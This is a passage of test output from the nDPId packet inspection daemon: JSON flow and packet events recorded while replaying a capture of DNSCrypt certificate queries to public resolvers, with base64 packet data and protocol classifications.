AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":196,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":946739311153,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":38278,"dst_port":553,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":197,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":153537,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQtEUAub0RRbQKAAABzbl0dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":197,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":198,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":153540,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQtEYAub0RRbMKAAABzbl0dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":198,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":199,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":946739311153,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":55822,"dst_port":553,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":84,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":153654,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXctEcgAL0RIN8KAAABzbl0dNoOAikGBO2dnSgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":199,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":946739311153,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":55822,"dst_port":553,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":200,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":153670,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQtEcAub0RRbIKAAABzbl0dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":200,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00669{"flow_id":81,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":306630,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADShQAAADIRADHNuXR0CgAAAQIpqggAvpKvnSmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAAn\/hr1LBKsWo8ISWGing3CJIxyJebVH0i+FiEft0kNqLwa8d8MG0HYasP8XBuGRRYuXbJWON+8OmftD\/GOCqkDQBv6De0v2\/+w89vsWNxuh1o1S9D9qyf\/kIslLiOA5h7AG\/oN7S\/b\/5fU2VhX1NlYV9UtuE="} +00669{"flow_id":80,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":308261,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADShP8AADIRADLNuXR0CgAAAQIpl98AvqTWnSuBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAAn\/hr1LBKsWo8ISWGing3CJIxyJebVH0i+FiEft0kNqLwa8d8MG0HYasP8XBuGRRYuXbJWON+8OmftD\/GOCqkDQBv6De0v2\/+w89vsWNxuh1o1S9D9qyf\/kIslLiOA5h7AG\/oN7S\/b\/5fU2VhX1NlYV9UtuE="} +00669{"flow_id":79,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":310248,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADShQEAADIRADDNuXR0CgAAAQIplc0AvqbsnSeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAAn\/hr1LBKsWo8ISWGing3CJIxyJebVH0i+FiEft0kNqLwa8d8MG0HYasP8XBuGRRYuXbJWON+8OmftD\/GOCqkDQBv6De0v2\/+w89vsWNxuh1o1S9D9qyf\/kIslLiOA5h7AG\/oN7S\/b\/5fU2VhX1NlYV9UtuE="} +00669{"flow_id":84,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":312303,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADShQQAADIRAC3NuXR0CgAAAQIp2g4AvmKqnSiBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAAn\/hr1LBKsWo8ISWGing3CJIxyJebVH0i+FiEft0kNqLwa8d8MG0HYasP8XBuGRRYuXbJWON+8OmftD\/GOCqkDQBv6De0v2\/+w89vsWNxuh1o1S9D9qyf\/kIslLiOA5h7AG\/oN7S\/b\/5fU2VhX1NlYV9UtuE="} +00670{"flow_id":82,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":313518,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADShQIAADIRAC\/NuXR0CgAAAQIpyjoAvnJ8nSqBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAAn\/hr1LBKsWo8ISWGing3CJIxyJebVH0i+FiEft0kNqLwa8d8MG0HYasP8XBuGRRYuXbJWON+8OmftD\/GOCqkDQBv6De0v2\/+w89vsWNxuh1o1S9D9qyf\/kIslLiOA5h7AG\/oN7S\/b\/5fU2VhX1NlYV9UtuE="} +00669{"flow_id":83,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":206,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":314055,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADShQMAADIRAC7NuXR0CgAAAQIplYYAvqc0nSaBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAAn\/hr1LBKsWo8ISWGing3CJIxyJebVH0i+FiEft0kNqLwa8d8MG0HYasP8XBuGRRYuXbJWON+8OmftD\/GOCqkDQBv6De0v2\/+w89vsWNxuh1o1S9D9qyf\/kIslLiOA5h7AG\/oN7S\/b\/5fU2VhX1NlYV9UtuE="} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":207,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":946739311802,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":55834,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":85,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":207,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":802321,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcgu5AAL0RWGMKAAABNEHrgdoaAbsCCOKYCnMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00597{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":207,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":946739311802,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":55834,"dst_port":443,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"DNScrypt.Amazon","breed":"Acceptable","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":208,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":946739311802,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":46313,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":86,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":208,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":802386,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcgu8gAL0RdKIKAAABNEHrgbTpAbsGBA+NCnABAAABAAAAAAABATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00601{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":208,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":946739311802,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":46313,"dst_port":443,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"DNScrypt.Amazon","breed":"Acceptable","category":"Network"}} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":209,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":946739311802,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":52911,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":87,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":209,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":802400,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcgvBAAL0RWGEKAAABNEHrgc6vAbsCCOKYCnEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00597{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":209,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":946739311802,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":52911,"dst_port":443,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"DNScrypt.Amazon","breed":"Acceptable","category":"Network"}} 